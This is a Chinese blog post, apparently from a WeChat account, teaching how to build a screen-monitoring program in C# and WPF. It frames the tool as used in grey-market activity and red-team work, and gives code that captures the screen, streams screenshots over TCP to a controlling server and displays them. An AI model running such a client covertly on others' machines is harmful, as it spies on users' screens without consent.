屏幕监控其实在黑灰产使用中的用的会相对多一点,在实际的红队演练中,其实最多就是截个图,留个证用来写报告,这篇文章就间接介绍一下屏幕监控的实现原理,以及编写一个程序,用作学习练习。
屏幕监控
屏幕监控程序的主要逻辑其实可以分为:
- 客户端截取屏幕。
- 将截取到的屏幕数据通过封包发送到服务端(控制端)。
- 服务端接收到数据后,解析并通过UI展示出来。
截取屏幕
像c#这种高级语言,一般在UI框架,比如winform中都会提供封装好的屏幕截取API,你可以直接调用就行:
int width = screenBounds.Width;
int height = screenBounds.Height;
using (Bitmap bitmap = new Bitmap(width, height))
{using (Graphics g = Graphics.FromImage(bitmap)){g.PageUnit = GraphicsUnit.Pixel;g.CopyFromScreen(screenBounds.Location, Point.Empty, screenBounds.Size);}return bitmap;
}
其实类似这种封装好的API底层还是回去调用win32API,但是谁让我们就是图个方便呢?(其实里面有些坑,比如缩放之类的,还是需要调用win32解决,圈内完整代码已经解决了这个问题)
数据传输
这个其实就比较简单了,就是一个服务端用来接收数据,客户端把截取到的图片数据发送给服务端:
服务端接收数据:
tcpListener = new TcpListener(IPAddress.Any, serverPort);
tcpListener.Start();
Console.WriteLine("服务器启动,等待连接...");
tcpClient = tcpListener.AcceptTcpClient();
networkStream = tcpClient.GetStream();
reader = new BinaryReader(networkStream);
while (true)
{while (!networkStream.DataAvailable){Thread.Sleep(100); // 避免高CPU占用}int imageLength = reader.ReadInt32();byte[] imageBytes = await ReadFullyAsync(networkStream, imageLength);this.Dispatcher.InvokeAsync(() => {ReceiveAndDisplayScreenshot(imageBytes);});
}
客户端发送数据:
using (TcpClient client = new TcpClient())
{client.Connect(IPAddress.Parse(serverIp), serverPort);using (NetworkStream stream = client.GetStream()){while (true) {byte[] screenshotData = CaptureScreen();var bytesLen = BitConverter.GetBytes(screenshotData.Length);stream.Write(bytesLen, 0, sizeof(Int32));stream.Write(screenshotData, 0, screenshotData.Length);stream.Flush();Thread.Sleep(50);}}
}
UI展示
这个用WPF就太好搞了,WPF就是这点好,写UI通过类XAML语言,实时预览,比硬敲代码舒服多了:
<Grid><Image x:Name="DynamicImage" Stretch="Uniform" Source="{Binding CurrentBitmap}"/>
</Grid>
我们创建一个image控件,绑定到CurrentBitmap,也就是获取到的图片数据上面,实现对图像数据的动态展示。
private void ReceiveAndDisplayScreenshot(byte[] image)
{byte[] DecompressImage = DecompressData(image);using (MemoryStream ms = new MemoryStream(DecompressImage)){BitmapImage bitmapImage = new BitmapImage();bitmapImage.BeginInit();bitmapImage.StreamSource = ms;bitmapImage.CacheOption = BitmapCacheOption.OnLoad;bitmapImage.EndInit();CurrentBitmap = bitmapImage;}
}
每次获取到新的屏幕数据后,就动态解析并展示在UI中。
上述就是一个简单的屏幕监控程序的流程,实际使用中需要优化的地方也是很多的,比如最开始的分辨率缩放问题,又比如效率问题,如何传输,是否需要压缩等等。
成品演示:
https://mp.weixin.qq.com/s?__biz=MzkzMDgyMTM1Ng==&mid=2247484968&idx=1&sn=b9ba907250ae13f1fedd2ef2200e9ded&chksm=c3091d3f46d02aadaccd057220cf4d58a4763454766f073a3aa603a96bc5879051b9ca6b0f5c&scene=126&sessionid=1739187187#rd
原创 黑晶